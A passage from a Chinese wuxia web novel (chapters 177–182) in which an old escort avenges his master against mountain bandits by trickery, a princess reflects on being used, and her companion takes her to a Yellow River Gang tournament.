“是吗,不会是那老家伙的儿子吧。不过还是老二你记性好,老子早就记不得那老家伙的面容了。 只记得那老东西吃了老子两拳一脚,就接不住了,当真是废物点心的很。” 马匪老大说罢满不在乎将手中的镖旗扔在武镇元的马前,眼里全是挑衅。 其实武镇元在听到对方第一句话的时候,就已经忍不住要跟对方拼命了。要不是孙镖头死命的抓着他的腰带,这会儿早就打起来了。 “你这个老东西,倒是有些眼熟,是不是就是给上次插这旗子的老头收尸的那个?” 马匪老大坐在马上俯下身,打量着孙镖头,笑嘻嘻的说道。 “大王好记性,正是,正是。有道是贼不走二,您也说了,刚劫过我们兴元镖局的镖没多久。 大王你想必也是不会做竭泽而渔这样的事的,何不这次就放了我们。当然该有的孝敬,自然不会少了大王的。” 孙镖头似乎完全没有在意马匪老大的打趣,反倒是求起情来。 “呦呦,大哥,这老家伙可以啊。有种那什么,书上怎么说来着?吐口水到脸上等自己干的样子,是个狠人啊。” 马匪老二表情夸张的说道。 “嘿嘿,您夸赞了。” 孙镖头笑着,笑的表情很真实。 “呸。” 随即一口唾沫从马匪老大嘴里精准的吐到了他的脸上。 孙镖头先是一愣,可随即就又扯出了笑脸,竟然真的就不去擦。 “哈哈哈哈哈……” 马匪老大见此放肆的大笑。 “别动,我们只看着,不插手。” 陈子云一把拉住了已经有些跃跃欲试的赵茵萝。 赵茵萝怒目圆睁的看着陈子云,似乎不相信他真的就这般袖手旁观。 第一百七十七章 物竞天择 其实赵茵萝虽然看不上兴元镖局这些人,却同样也见不得这些相处了几天的人这样被羞辱,甚至可能还要被残杀。 她是那种表面上看着冷漠,其实内心还是充满热情的人。而陈子云则是刚刚相反,他见惯了世事,所以虽然表面上对这些人都客气着,可内心里却从来都没有真正的跟他们发生过交集。 “天地不仁以万物为刍狗。你就当我们此时此刻并没有在这镖队里,他们只是遇到了他们终究是要遇到的命运。 如果一家镖局,连这些山匪马贼都应付不来,他们就不应该吃这口饭。否则不单是耽误了自己的性命,也会给雇佣他们的雇主造成严重的损失。 所以这也是我要你看的江湖的一面,物竞天择适者生存,这才是这个江湖的道理。” 陈子云用只有他们两人听得到的话说着。 赵茵萝虽然没有直接反驳,可陈子云看她的神情就知道,她不是被自己说服了,而是在自己思考。 说来也是奇怪,赵茵萝自从得到了陈子云传功之后,整个人的个性都发生了大变样。 以前的她虽然贵为公主,却是因为被韩皇后看护的太好,就像是个足不出户的大家闺秀,是那种温温软软的性格。 别说辩驳,就是稍微大一点的声音都能让她自责,总以为是自己做错什么。 可这几年来,尤其是当她掌控了自己一身的内力以后性格却是大变。似乎这种掌控自己的强大力量,将她体内那种寄存了二十年的公主的尊贵与霸道给一下子逼了出来。 以前对自己娘娘和爹爹言听计从的她,开始逐渐学会了自己思索。感受最大的自然是朝夕相处韩皇后,她虽然也算是读过一些诗书,但终究是没有太用心的。 所以不久,赵茵萝就开始指出韩皇后言语之中的不妥之处,这让当时的韩皇后目瞪口呆。 要不是自己眼看着自己的亲闺女一天天变化的,她甚至会以为自己的女儿是中了什么邪祟了。 而宋宁宗听了韩皇后的说辞,略略回忆一番自己女儿的近日的所作所为,却是也发现了不同之处。 他倒是没有韩皇后那么的不安,反而是饶有兴趣的将几个朝堂中碰到的问题抛出来问了赵茵萝。 当然宋宁宗并不是指望着赵茵萝真的能帮他解决,可谁让他就这么一个孩子呢。也许在宋宁宗的内心深处,更希望赵茵萝是个男孩吧。 可赵茵萝的回答却是让宋宁宗惊掉了下巴,因为自己女儿的答案竟然与自己苦思冥想三天的结果很是相似。 “茵萝,这问题你是不是听子云跟你说过?” 这是宋宁宗的第一反应。因为这个问题当时他跟韩侂胄也商量过,而陈子云从韩侂胄那里听来消息,再跟赵茵萝讲,这到也不是不可能的。 “爹爹,子云师傅你是知道的,他本来就对朝堂上的事情不待见,又怎么会与妞妞讨论这些东西。 刚才只是妞妞结合看过的史书,自己想出来的。” “史书?” 宋宁宗显然是不信的,要是看几本史书就能治理天下,那才是笑话。 不过他也没有深究,不管如何自己的宝贝女儿有这样的见地当然是好事。 自此以后,宋宁宗有时候在韩皇后这里碰到赵茵萝,就会习惯性的抛出几个问题。 虽然不是每一次都能得到答案,但是宋宁宗也开始意识到,自己这个公主的不同寻常之处了。 可这些让他不由得更加惋惜:“为何木兰是女郎?” 其实赵茵萝有些事情还是没有完全跟宋宁宗说,因为就算是赵茵萝自己都没有搞清楚,她只是在跟陈子云的交流中偶尔记住了一些超越时代的政治概念。 虽然如今在赵茵萝的脑子里这些概念还是一些零零碎碎的东西,但是对她的影响却一直都在潜移默化的发生。 这不是陈子云什么有意的布局,而是当他跟自己这个朝夕相处的小媳妇开诚布公交流之后,总会不自觉的说出一些跨时代的东西而已。 要是他预先知道这样会让赵茵萝每每都找他话里的漏洞来攻击他,他就绝对不会说什么“真理越辩越明”这样的狗屁话。 …… 不知道怎么的,队伍前头就已经打了起来。不过不是那种混战,而是武镇元拿着一把关刀与那个马匪头子在单打独斗。 武镇元的关刀倒是耍的有模有样,可那马匪头的手里的长矛也有些看头。这两位一战,倒是有点关二爷打张翼德的意思。 当然这些把式,在陈子云看来只能算是外家功夫,蛮力的比拼而已。 武镇元胜在年轻力壮,手中的关刀也比对方的长矛重上几分。而那位马匪头子明显就是仗着战斗经验丰富与武镇元打的有来有回。 一边观战的马匪纷纷起哄,给自己家的大当家加油助威。而兴元镖局的这边气势就差的多了,只是满怀担忧的看着。 因为他们知道,一旦自己的总镖头落败,那他们必然也就遭了。而即使武镇元赢了,也绝对不能指望这些山匪能真的高抬贵手放他们一马。 所以他们此时的心情可想而知,即紧张,又忐忑。尽管手里死死的捏着自己的兵器,手心却已经全是渗人的冷汗。 “子云师傅,你觉得他们两个谁能赢?” 赵茵萝指指在她眼中犹豫耍猴戏的战斗。 “那你觉得呢?” 陈子云没回答,反问道。 赵茵萝还没开口,就已经露出了微笑,显然她是已经猜到了陈子云会这么反问她的。 “武镇元的刀法虽然差劲的很,但是他使出来一板一眼的,明显是从小就打熬过胫骨的,这刀法使的也算合规合矩。 而这个马匪,虽然有几分蛮力,但是他使矛的路数明显是军中的把式。虽然有一定的改良,可一套成熟的武学哪里是他这样的人能自己摸索出来的。 而且军中的武艺,向来讲究的是团队的配合,而不是一个人的好勇斗狠,而武镇元的刀法却是江湖打斗的刀法。 所以此消彼长,我笃定武镇元最后是能赢的,不过赢了之后那马匪会不会恼羞成怒就不好说了。” 赵茵萝分析的头头是道,自然是得意的看着陈子云,似乎在等着对方的夸赞。 第一百七十八章 生死存亡 陈子云点点头道。 “不错,从理论上讲,你分析的还算合理。” 赵茵萝悄然一笑,得意的两只粉红的耳朵都似乎要竖起来了。 “可是。” 陈子云来了个转折,赵茵萝神色瞬间凝重了,因为每次她听到这个词之后,陈子云必然是要拿出反向的论证的。 可这次陈子云的反驳还没来,现实却已经先告诉她结果了。 “啊……” 武镇元以一声凄厉的惨叫,以及被一矛扎穿了一条大腿的代价宣布了比试的结束。 “哈哈哈,老的蠢,小的更蠢。我这同样的一招‘摸驴打脚’,竟然赢了你们爷俩,真是十足的蠢材。 真以为老子的矛法就来来回回那么九招是吗?那是老子故意让你看的,老子的矛法有十招,十一招,二十招。” 马匪头子赢了比试,哈哈大笑的同时还不忘数落对手的愚蠢。 孙镖头此时已经持刀护在了武镇元的身边,可那紧张的满脸灰白的神色让所有人知道,他已经没有指望了。 “老头,当时你不是也在镖队里吗?怎么没把我这招绝活告诉这小子,我还想着要是这招不成,我还有另一招备着呢。 没想到……哈哈哈哈。” 马匪头子指指点点孙镖头跟武镇元,似乎很是意外的样子。 武镇元一只手捂着流血不止的大腿,眼睛却是死死的盯着孙镖头,似乎在问马匪头子说的是不是真的。 可此时的孙镖头却看都不敢看武镇元,他只是持刀咬着牙眼神悲愤的看着马匪头子。 “咦,老头子,你这眼神我好像哪里见到过啊,等等,你等我想想。” 马匪头子似乎想到了什么重要的事情似的,竟然装模作样的思索起来了,可那五大三粗的样子配上那故作深成的摸样,实在是倒人胃口。 “哦,对了,你上次给这小子的老头收尸的时候也是这般摸样。啧啧,真是可怜啊,老爹是你收的尸,儿子也是你收的尸。 这镖局的老小可是真要承你的大人情了,就是不知道还有没有一个孙子让你接着收尸。 哈哈哈哈。” 马匪头子也知道这趟镖已经是自己的囊中之物,自然是更加的肆无忌惮。 武镇元被气得就像拄着自己的关刀,想从地上挣扎起来,可是那大量的失血已经让他全然没有了力气,只是在地上滑了两脚就感觉天旋地转了。 “我……跟你比一场。” 声音不大,却让所有的人都把目光转向了孙镖头,就是连刚才对他有些不满的武镇元也吃惊的望着他。 虽然孙镖头是兴元镖局的元老,可那也只是说他年纪大辈分高而已,不是说他手里的功夫就有多好。 相比于有自家传承的武镇元,孙镖头不过是练的最为普通的江湖把式,零零散散的一些刀招凑在一起,平时也全靠自己的江湖经验在对敌。 “孙叔。” 武镇元一声呼喊,语气中的意思很是明显,是让孙镖头不要逞能。 “小元,从你当上总镖头之后,我就没这么叫过你了。本来以为这辈子也没这个机会了,看着你长大,看着你将刀法练的比老总镖头还出彩。 孙叔叔我是真的很开心的,我这辈子就跟着老镖头了。本来以为再干几年,实在干不动了,就让小刘来接我的班。 我这辈子无儿无女,手底下几个徒弟,现在也就剩下小刘了。小刘其实是个不错的后生,想着再历练几年,也就能当个合格的镖师了。 哪里想到老总镖头却在这里出事了。” 孙镖头说着环顾了一圈四周。 “没错了,就是这里,在这个就快要走出山坳的岔口上。那颗老槐树,就是旁边那颗,上面还应该还沾着老镖头的血迹呢。” 孙镖头似乎陷入了回忆,看着路边的一颗老槐树出神。 “嘿,老东西,想什么呢,拖延时间?” 马匪二当家似乎察觉到了什么,厉声喝道。 “小元啊,你孙叔我一辈子跟着你爹,可着人一旦靠别人靠久了,就连自己也认为自己不行了。 所以那天在老镖头倒下之后,我感觉整个天都塌了,我只知道抱着他逐渐凉透的身子哭,什么都不敢做。” 孙镖头的眼里流出了一趟泪水,直溜溜的如雨滴一般直接砸在地上,接连不断。似乎也有些早就积累在他眼眶里的东西,在此刻一起涌了出来。 “孙叔,没人怪你。” 武镇元似乎也被挑起了情绪,有些激动的安慰道。 “嘿,老东西。” 那马匪二当家直接抽出了手里的刀,一刀就朝着孙镖头劈下。而且这刀明显是经过算计的,因为按照这刀的轨迹,要是孙镖头敢躲开,那中刀的就是武镇元了。 而以武镇元此时的状态,肯定是无法闪躲的。 孙镖头确实也没躲,甚至连脸上的神色都没有多少变化。 “可这次我知道不行了,没地方躲了啊。那就……” 孙镖头话说到一半,身子突然一缩,让他本来就有些驼背的身躯就像是个乌龟一样的拱起背来。 低头缩手,活脱脱就是一招老龟入龟壳。 可随即一道刀光却从一个不可思议的角度斜撩而上。 众人听到一声裂帛般的轻响,接着就是一声惨叫,叫声很短,一闪而逝。 孙镖头的背上确实被马匪二当家的刀给砍中了,但砍破的不是孙镖头的背脊。却是一包不知道什么时候从他的前胸滑到了后背上的包袱被砍开了。 而那包袱里装着的不是什么银钱干粮,而是一整包的粗砂,这从西最能卸力。 所以马匪二当家的那一刀砍破了这皮质的包袱,却被里面的粗砂给挡住了。 而孙镖头趁机划出去的一刀,却是直接砍在了马匪二当家的心口,一刀毙命。 所有人都鸦雀无声的看着孙镖头,不说马匪们没有将这个老头子看在眼里,就是兴元镖局的自己人也不曾抱有什么幻想。 孙镖头狠狠的吸了几口气,显然这样的爆发性的运动,对于他这个年纪的人终究是负担不小的。 第一百七十九章 老狗龇牙 可随即他面无表情的对着马匪老大说出的一句话,却是让众人如夏天喝下了一碗冰水一般透彻全身。 “这位大王,现在我有资格跟你过招了吗。老头子我自从那天在这里见了大王的风采之后,可是一天都不敢忘啊。” 明明还是那样客气的语气,可里面却有一股让人说不出的森然之意。 一条老的快死了都没咬过人的老狗,今天却要为自己的主人报仇了! “好一条,咬人不叫的老狗,倒是小瞧你了。不过就你嘴里的那几颗烂牙,可还唬不住我。” 马匪老大毕竟不是刚出茅庐的江湖菜鸟,就算刚才被孙镖头那惊人的一刀给吓了一下,此刻也已经回过神来了。 两句话就震住了场面,让那些惴惴不安的手下,不再惊慌。 “大哥,给二哥报仇,杀了这老狗。” “对,杀光他们。” “大家伙儿一起上,杀了他们劫了镖,回山寨喝酒去。” 这帮子马匪纷纷起哄,大声喧哗着,这也是他们平时惯用的手段。大声的呼喝,不仅能吓唬一般的商旅,同时也能给他们自己壮胆。 至于说那位刚被孙镖头杀掉的二当家,只要有山寨在,有大哥总会有二哥的。 而且这个将来顶替这死鬼上位的,说不定就是自己。想到这里,他们这些做小弟甚至还有些要感谢孙镖头,要不然哪里有这样的机会。 “杀。” 随着马匪老大的一声呼喝,众马匪立刻朝着兴元镖局的众人挥起了屠刀。 至于说为什么孙镖头已经提出了挑战,马匪老大不应战反而群起而攻之,是不是太不讲江湖规矩。 笑话,一伙儿山贼哪里来的规矩,而且真有谁觉得这江湖有什么所谓的规矩,那也不过是年轻人的幻想而已。 不过被孙镖头的英勇激起了几分勇气的镖师们,也不是待宰的羔羊,纷纷持刀迎上。 刹那间刀光纵横,下一刻就要生死立分。 “住手。” 一声娇喝。 陈子云下意识的伸手去抓身边的人,可指掌间留下的却是一缕香风。 “嘿,好个逍遥游。” 陈子云抬眼望去,只见在即将交手的两伙人中,一道绯红色的身影如落霞一般将所有人围绕。 众人只觉得手腕一痛,下意识的都松开了手上的兵刃。随即兵刃落地的哐啷声中,那道倩影已经停在了马匪老大的身旁,而一把精致的如天山美玉的小刀正抵在他的咽喉上。 武镇元反应过来的瞬间,只觉得用这样不似凡间的宝刀去沾染一个腌臜马匪的血,实在是亏得慌。 “两位镖头请稍等。” 赵茵萝缓缓开口,神色虽然淡然,但还算客气。 “至于你们,所有人都给我待在原地别动。否则我先杀你们的这个老大,再把你们通通送官。” 这句话出口,赵茵萝却是把小公主颐指气使的那种霸道给散发出来了。众人只觉得双膝发软,就想跪地求饶。 “老孙头我有眼不识泰山,还请女侠大人大量。” 孙镖头直接就跪在了地上,连连磕头。不过这也是情有可原,如今自己整个镖局都要承这位不知来路的人物的情。 而马匪头子却是肠子都悔青了,哭丧着脸说道。 “女侠,您这样的高手何必跟我们这种江湖上混饭吃的角色这般见识?” “不错,刚才也有人这么对我说的,所以本女侠本来也不想管。 可你也是自称跑江湖的,既然孙镖头已经提出了挑战,你怎么能如此无赖,群起而攻?” 赵茵萝这话倒是得到了武镇元的赞同。而孙镖头跟马匪头子却瞬间明白了,这位武功高的不像话女侠看来就是个刚下山历练的名门弟子。 陈子云在不远处听着。既然赵茵萝已经现身,他躲着也没必要了。反而悠然的坐到了镖车上,好整以暇的看着。 既然不能让赵茵萝冷静的旁观,那就索性让她自己折腾,亲自参与进去或者能有更深切的感受。 “那女侠觉得当如何?” 马匪头子知道自己的小命就在这位幻想着江湖的女子身上,自然是要放低姿态依着对方来。 “简单,就像刚才你跟武总镖头一般,公平较量一场。” 赵茵萝理所当然的说道。 听到这话,孙镖头和武镇元都是皱了皱眉头,欲言又止。 孙镖头自然是觉得,既然对方已经救了他们,自己何必再与这帮马匪拼命。可又怕这个初出茅庐的女子固执己见,自己要是违拗了她,可能适得其反。而且自己这一路上还把这小夫妻当着了山匪的暗子,故而是越想越不敢开口。 至于武镇元,他当然是担心孙镖头可能不是马匪头子的对手,可又觉得既然是公平比试,他又不好阻拦。 至于马匪头子,实则是心里暗乐,因为他不觉得自己会打不过这老头,就算对方刚才施展阴谋诡计杀了老二。 可也正因为如此,也让马匪头子看出了孙镖头的水准,他可不是老二那种嘴上功夫强过手上功夫的废物。 他有九分的把握,自己十招之内就能解决孙镖头。 不过这些心思,他表面上自然是没有流露出来的。 “既然是女侠要求的,小人自然不敢不从。” 马匪老大说的很是恭顺。 “如此就好。” 赵茵萝点点头道。 “不过,小人斗胆想问女侠,这场比试之后,女侠又会如何对待……” “你是想说,我会不会对你们替天行道斩草除根是吧?” 赵茵萝直接戳破了马匪头子的心思。 “女侠英明。” 马匪头子腆着脸笑着。 “如果你输了,估计孙镖头想来也是不会留你命的,死人当然是不需要答案的。” 赵茵萝这话直接就把马匪头子给吓愣着了,笑容也僵硬在了脸上。 “如果你赢了……” 赵茵萝似乎犹豫了一瞬。 “那我就绕过你们这一次。” “女侠豪气盖天,巾帼不让须眉。” 马匪头子终于是放下了心。 “嘿,老头子,还不谢谢女侠。难道你们还对女侠的安排有所不满?放心,老子就算是赢你,也会留着你一命。 但是你要记住,你的命不是我绕你的,而是女侠恩赐你的,你可千万要记得女侠的恩德。” 马匪头子看着似乎是在宽宏大度的开导孙镖头,实际上句句不离赵茵萝。 第一百八十章 凉人心 “那孙老头我倒是要先谢谢大王美意了。” 孙镖头此时也是无可选择,只能照着这条路走了。万一真的如马匪头子说的,触怒了这位不知来路的女子,这兴元镖局就怕要毁在自己手里了。 孙镖头捡起了自己的刀,将缠在身上的已经被砍破的皮包袱解下。抖干净里面残存的粗砂后,将包袱拧成绳子,在刀柄上饶了几圈,随后牢牢绑在手腕上。 马匪头子见此也是眯了眯眼,暗道这老家伙是真的要跟自己拼命啊。看来自己刚才说要放他一马的话并没有让对方放松警惕,既然如此那自己就失手杀了这老小子吧。 马匪头小心的瞥了赵茵萝一眼,心想以这个初出茅庐的丫头是心性,只要到时候自己表现的无辜一些,想来也能蒙混过去。 马匪头子也将地上的长矛捡起来,横在胸前,矛头朝着孙镖头点了两下,这就是发起攻击的信号了。 正所谓一寸长一寸强,马匪头子手中的长矛少说也有两米长度,对于此时距离的两人显然是占尽优势的。 只见他矛头一甩,整个矛身柔软弯曲,头上的矛尖就像是老鹰扑击一般的啄向孙镖头。 而孙镖头也不敢拿他的腰刀抵挡,而是身体一缩就地一滚,就像个老王八沿着自己的龟壳转了一圈。 马匪老大的矛头擦着孙镖头的身体划了过去,赵茵萝却能清晰的看到,那矛头上带下来的一片衣襟是沾着些许红的。 “嘿嘿,老鬼头,你的龟缩神功可不行啊。” 马匪头子嘴上笑着,可手里的动作却没停。 不等孙镖头缓过劲来,直接再次发力,将还未回复笔直的矛身反向一甩。 刚才的老鹰就变成了上树的蟒蛇,朝着孙镖头落后半步的大腿噬咬而去。 这要是被咬中了,孙镖头就跟武镇元一个摸样了。 孙镖头自然也是知道,可他毕竟年老,不管是体力上还是速度上都有些跟不上马匪头子的动作了。 只能勉力的将刀往攻来的矛头上一托,试图抵挡。 可两者的力量本来就是相差不少,何况孙镖头还是仓促发力。 众人听得一声痛苦的闷哼,随即矛头见红。 “哈哈哈,老鬼头,我本来还预计你能挡我十来招呢。结果你连三招都没接住,真是不畅快。 不过既然女侠仁慈,那我就绕你一命。” 马匪头子很是流利的耍了一个花枪,然后潇洒的收手。 “女侠,你看如何?” 马匪头子朝着赵茵萝一转身,谦卑的问道。 可还没等到赵茵萝开口,马匪头子突然感觉自己的背后传来一阵阴风。随即他看到了那些小弟们眼中的惊愕与恐惧,一道凉意惯穿他的胸口。 马匪头子不可置信的低头,一把闪着寒光,沾着血的刀尖从他的后背透出在他的胸前。 那刀上的刃口被磨很是锋利,似乎他的主人把这把普通至极的腰刀保养的非常用心。 马匪头子当然明白这把刀是哪里来的。 可这老龟孙子怎么敢,怎么能,当着这女子的面…… 可惜马匪头子再也想不明白了。 随着马匪头子的死亡,那些离赵茵萝比较远的马匪立刻就骑上马跑了。而离的近的,见赵茵萝并没有发应,也陆续的壮着胆子跑了。 留下的人都盯着孙镖头看。 陈子云是有些赞赏这位摸爬滚打一辈子的江湖老汉能这样的果决,这样的灵敏,趁其不备,借势而为。 而赵茵萝,此时哪里不明白自己被这个看着似乎老弱的孙镖头给狠狠的利用了一把。 至于其他的兴元镖局的人,则是又是敬佩又是不敢相信的看着他们几乎已经不认识的孙镖头。 “走吧。” 陈子云率先来到了赵茵萝的身边,说了一句。 “走?” 赵茵萝有些迟疑的指指还躺在地上的孙镖头。 “怎么,难道你准备杀了他?以发泄心中的不快?” 陈子云笑的像是嘲讽一般的问道。 “我……” 赵茵萝捏捏拳头,没什么比自己付出好意,却被人反过来利用更伤人的了。 要是此时的孙镖头换做是武镇元这样孔武有力的年轻人,说不得赵茵萝就要挥刀了。 可看着那个如今也几乎没了半条命的老头子,哪里是赵茵萝狠的下心的对象。 “真想要杀,用手帕抚着眼睛,用双手捂住耳朵。就算是你随便踩上两脚,只要你不看见,不听见,这老头也就该死了。” 陈子云道。 众镖师听到陈子云如此说,都紧张的咽起唾沫。武镇元更是艰难的往孙镖头那边移动了几下。 他似乎还想开口求情,却是被孙镖头制止了。 “值得了,值得了。老孙头我临死还能亲手为老镖头报仇,实在是死而无憾了。 老头愧对女侠大恩,来生当牛做马衔草结环以报。” 孙镖头说着就往地上不断的磕头,几下就把额头撞出了血。武镇元看不下去,拦了一下,却发现对方已经晕了过去。 “赶紧给孙叔止血。” 赵茵萝就这么看着,依旧白净的拳头随着孙镖头的一个个磕头松了又紧,紧了又松。 陈子云摇摇头,一把抓住她的手,随即拉着她离开了这个给她上了生动一课的地方。 在离开兴元镖局的队伍后,赵茵萝一连五天都没有说半句话。要不是陈子云拉着她吃饭,估计她能一个人不吃不喝的苦思冥想,直到把心里的困惑想清楚为止。 “想不明白没关系,这种事情不论是谁第一次经历都是一样,看多了就习惯了。” 陈子云一边给赵茵萝夹菜,一边劝慰道。 赵茵萝摇摇头。 “子云师傅,你太小看我了。我自然是知道那个借机偷袭的家伙的打算的。无非是笃定我不会因为这个而把他们怎么样。” “哦?” 陈子云眉毛一抬继续问道。 “那你这几天茶饭不思的在琢磨些什么?” “我只是想不通,人心为何会这般的贪婪与无耻。就算他们趁机杀了一个马匪头子又能如何? 没了张三必然还有李四,明明是他们自己本事不济。那老镖头的死,本来就应该让他们清醒,他们已经不能在这条路上走镖了。 为什么还要这么不自量力。 就算他们这次借我的势,捡到了一个便宜。但是小人窃据高位,又如何能长久。 难道他们自己真的看不到吗?” 赵茵萝困惑的道。 第一百八十一章 黄河帮摆擂台 “啪啪啪。” 陈子云微笑着拍了几下手掌。 “你能这般想就好,我还真怕你钻进牛角尖里去了。至于这兴元镖局自不自知,那又何必去管他。 既然他们身在江湖,自然只能随波逐流,浪大浪小,看命喽。” 赵茵萝认真听着,却没有再说,显然她还没从自己的小世界走出来。 不过陈子云不着急,这世上的困惑千千万,又有谁能真正的看透的。 …… “嘿,你听说了吗?” “什么?” “黄河帮的帮助沙通天沙龙王,要在李子口摆大擂,广邀各路在水上讨生活的豪杰。” “我倒是是什么事情呢!一帮水匪也敢称豪杰,不过是黄河帮想独霸黄河上的没本买卖而已。” “嘘,小心呢,祸从口出。咱们管他是什么水匪还是豪杰,去不去凑凑热闹。据说李子口如今已经聚集了千把号人物了,也算是当今江湖上难得的大事了。” “这热闹有什么好凑的,况且这一帮人聚会,乌烟瘴气的,我们去干什么?何况要说当今的武林盛事,怎么也要说是全真教王真人发起的华山论剑。如何轮得到这黄河帮?” “这……自然是没错的。可华山论剑,咱们哪里有这个资格去啊。” “……” 陈子云听了这番话,心里已经有了给赵茵萝分散注意力的法子。 要忘掉一个烦恼的最快的办法,就是找另外一件事情吸引注意。 而这个黄河帮举办的所谓盛会,想必总是有些看头的。对于赵茵萝这样初走江湖的人总是有些吸引力的。 等陈子云带着赵茵萝来到所谓的李子口之后,发现这里就是个不小的码头。 大船小船停靠在黄河边上连成了一片,多的跟临安城里夏日的荷叶一般,把半个河面似乎都盖住了。 不过还不等陈子云他们靠近,一股浓重的鱼腥味已经被风吹过来了,还夹杂着些同样浓重的人味——汗臭。 随着人流望去,不远处的河面上已经搭起了一个不小的台子。 一杆黄色的大旗杆高高竖起,就算是隔着很远的距离,也能看到那旗帜上的三个血红大字“黄河帮”。 也不知道如今这个时代,这些人是怎么将那些木头整根的打进黄河河床底的,这个时候可没什么打桩机。 “这排场可当真不小。” 陈子云也不得不感慨一句。 “哼,不知道威逼了多少黄河上的渔民,才把这些大船小船凑齐。” 赵茵萝一下就看出了这排场的关键。 那鳞次栉比的船只,肯定是被黄河帮征用来的。要不然这个台子搭的再好,没有这些船作为看客的桌椅也没人能看到。 不过显然今天的擂台还没开打,陈子云随手拦下一个路过的汉子问道。 “兄台,你可知今天这是哪家跟哪家的高手过招?” “你是?” 那人有些困惑的问道。 “在下姓陈,这是拙荆。敢问兄台贵姓?” 陈子云微笑着道。 “哦,原来是陈兄弟,嫂子。我叫王有财,是王家水寨的二班头。我今天也是刚到,不知道是哪位跟哪位比划。 陈兄弟要是不嫌弃,要不我们凑个伙,瞧瞧去。” 自称王家水寨二班头的王有财倒是自来熟的很。 “如此,就多谢王老哥了。” “诶,好说,好说。来跟老哥走,我们这留了自己的船,虽然不大,但足够我们三个用的。” 王有财乐呵呵的带着陈子云跟赵茵萝往河边走。 船确实不大,或者说再小一点,估计三个人都落不下脚去。这是一艘再普通不过的小渔船,还是单人操作的那种。 不过好在王有财的操船技术不差,就算是如此的小船,也是划的稳稳当当。 “王老哥好本事,这身操舟的功夫可是了不得。” 陈子云夸赞道。 “哈哈,让老弟笑话了,老哥也就是这一手本事拿得出手。从小就是河里长的,这在河里的时间比在岸上还长呢。 就是在我们王家寨,也没有几个后生敢跟老哥我比水上功夫的。” 王有财很是自得的说着,手上的船桨也是快了半分。 “不过说到这水里的功夫,你老哥我服气的不多,可要说这黄河帮的帮主,沙龙王,那真是不做第二人想啊。 那本事,绝了……” “哦,难道这沙帮主的水上功夫,比老哥还厉害?” 陈子云故作怀疑的问道。 “哈哈哈,老弟你这话在这里说说倒是无妨。要是靠近了擂台可千万提不得,要不然连老哥我也要一起遭殃啊。 这沙龙王的本事,哪里是我们这种人能比的。但凡见过龙王游水的功夫的,那才叫是真个的游龙戏水呢。” 王有财虽然对于陈子云的奉承话很是受用,但也不是那种没有自知之明的人。 “有人上擂台了。” 赵茵萝打断了两个男人的没营养的客套话。 陈子云跟王有财都自然的往擂台上望去。 “诶,兄弟,弟妹,你们坐稳。老哥我要发力了,要是迟了,可抢不到好位置。” 王有财此刻算是把陈子云夫妇当熟人看了,招呼了一声,手里顿时又加了三分力气。 小舟就像是在后面加了一个涡轮马达似的,往擂台冲去。 而以陈子云的眼力,擂台上正交手的两人看的已经很是清楚。 一个使峨眉刺的消瘦汉子,跟一个使长竹竿的高大汉子正打的热闹。 不过以他们的身手来看,也不过是些练把式的,只是靠着一身的蛮力在打。 所以还没等他们的小舟靠近,那个使长杆的汉子,就趁着自己手里兵器长过对方,抓着个机会,一杆子把对方打下了擂台。 “诶,是谁赢了,怎么就落水了。” 王有财见擂台上只剩一人,有些着急的询问道。 “使长杆的胜了。” 赵茵萝轻轻答了一声。 “咦,弟妹好眼力。哎,老哥我是不中用了,在水里睁眼久了,到岸上这眼睛倒反而是不好用了。” 王有财有些惆怅的感叹道。 “王老哥勿恼,是拙荆的眼睛从小就凌厉,不是你眼睛不好。这不,兄弟我也是只看到个人影么。” 陈子云笑道。 第一百八十二章 王有财 “哈哈,老弟倒是好心肠的。不过你不用安慰老哥,老毛病了,我自己知道的。不过弟妹这双眼睛,确实水灵很,简直跟天上的星辰一个摸样。” 王有财一脸无所谓的说道。 其实在陈子云他们眼里,这位王有财更像是一个本分的渔夫,而不像是个争强斗狠的江湖人物。 王有财操纵着轻舟渐渐靠近了擂台,这里已经停下了不少的舟楫,可他总能在舟与舟之间找到缝隙,在别人还没有反应过来的时候见缝插针的往里挤。 即使那些被挤兑的舟上都抱怨不已,可王有财知道这正是自己在陈子云两人面前展现本事的时候,哪里会停下。 要是放在平时,以他的性子,自然不会冒着得罪人的风险去做这样的事情。可谁让今天认识了陈子云夫妇这对一看就顺他意的人呢。 “好了,这里看的清楚些了。” 王有财将他的小舟停在两艘大船之间。 不管是在哪里,既然有擂台,自然就有看台。而这看台自然也是分三六九等的。 最上等的自然是在擂台之上的那几把摆好的太师椅,那是给黄河上各个有名有姓的当家人物预备的。 而围着擂台最里面的一圈,自然就是给那些有大船的人物准备的。而像王有财这样的小船,只能靠自己在附近找位置。 王有财能七弯八拐的,找到这个位于两艘大船这件的缝隙,实在已经是难得的好位置了。 “王老哥好本事。” 陈子云道。 “哈哈哈,没什么,没什么。” 王有财谦虚者,也笑着。 在他们说话时间里,擂台上的人来来去去的已经换了好几轮,那个那长竹竿的也被人打下了水。对方是个使鞭子的,还是冷门的九节鞭。 那人直接用鞭子把竹竿缠住,让他全然动弹不得,没两下就把他给打了下去。 “是,是我们王家寨小落子。兄弟你看,就那个黑秋秋的小个子。那是我们王家寨的人,你们别看他个子不高,手底下的功夫可不差。 尤其是那手地堂腿,那一个刁钻,三五个人都拿不下他。” 王有财突然有些兴奋的指着刚上擂台的一个小黑个子说到。 “小骡子,嗯,确实很形象。” 陈子云有些好笑的附和着。这个上擂台的青年确实看着黑壮黑壮的,人如其名。 “诶,陈兄弟,不是骡子,他叫王落,落花生那个落。可千万别让他听见,他最忌讳别人喊他骡子。” 王有财知道陈子云误会了,赶紧解释。 “要是这么远都能听见,那才是他有本事。” 赵茵萝在旁边不阴不阳的说了句。 显然她是已经看出来了,这个王落也就是跟前面那些一样的货色。 也许这样的人物在王家寨那样的小水寨里能窝里横,可到了这擂台上,也就是一个参与者而已。 这不,赵茵萝话音落了没多久,这位被王有财抱有很大期待的人物就被对方一脚给踹了下来。 而且好巧不巧,落下的位置刚好在他们小舟的附近。 王有财有些愕然,犹豫了一下,随即还是将船上的竹竿子往对方落水的地方递了过去。 那落水的王落顺手接过竹竿,此时他也没功夫去理会对方是谁,只以为是黄河帮安排的专门负责捞人的弟子。 顺着王有财的杆子,就爬上了他们的小舟,这下就真的将这艘本来就拥挤的小舟挤的没了下脚的地方了。 而且王落上来的瞬间,似乎是在发泄打擂输了的不快,很是用力的晃了一下小舟。 要不是陈子云见机不对,立刻重心下坠,还不忘扶住同样摇晃的赵茵萝,说不定他们还要翻船落水。 “小落,你这是做什么?” 